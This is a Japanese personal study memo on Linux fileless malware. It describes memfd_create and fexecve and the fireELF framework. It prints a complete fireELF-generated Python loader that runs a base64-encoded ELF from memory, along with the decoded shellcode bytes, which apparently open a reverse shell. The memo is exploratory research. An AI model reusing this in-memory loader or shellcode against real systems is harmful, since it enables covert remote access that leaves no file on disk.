Linuxファイルレスマルウェア手法の調査

ファイルレスマルウェアについて興味を持っていて,軽く調査したのでメモとして残します.

どのようにしてファイルレスにするか

Linuxにはmemfd_createというRAM上に無名ファイル(anonymous file)という一時的なファイルを作成し,そのファイルを参照するファイルディスクリプタを返すシステムコールがある.マルウェアはこのシステムコールを利用してメモリ上にファイルを作り,そのファイルにペイロードを流し込み,そしてfexecveというファイルディスクリプターで指定されたプログラムを実行する関数で実行させるという仕組みだそうです.

fireELF

fireELFとはファイルレスマルウェアを作成することができるフレームワークです.

github.com

YoutubeにfireELFを使ってリバースシェルのペイロードをファイルレスにする動画がありました.

www.youtube.com

この動画の通りに進めていって,最終的にfireELFで出来上がったペイロードが↓

import ctypes, os, urllib2, base64;
libc = ctypes.CDLL(None);
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]));
syscall = libc.syscall;
fexecve = libc.fexecve;
content = base64.b64decode("f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAVs8CoOHJRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==");
fd = syscall(319, "", 1);
os.write(fd, content);
fexecve(fd, argv, argv):

contentをデコードすると↓

b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00|\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H1\xffj\tX\x99\xb6\x10H\x89\xd6M1\xc9j"AZ\xb2\x07\x0f\x05H\x85\xc0xQj\nAYPj)X\x99j\x02_j\x01^\x0f\x05H\x85\xc0x;H\x97H\xb9\x02\x00\x15\xb3\xc0\xa88rQH\x89\xe6j\x10Zj*X\x0f\x05YH\x85\xc0y%I\xff\xc9t\x18Wj#Xj\x00j\x05H\x89\xe7H1\xf6\x0f\x05YY_H\x85\xc0y\xc7j<Xj\x01_\x0f\x05^j~Z\x0f\x05H\x85\xc0x\xed\xff\xe6'

おそらくELFのコードなのかなと思います.

疑問

anonymous fileって正規の使い方だとどういう時に使うんだ??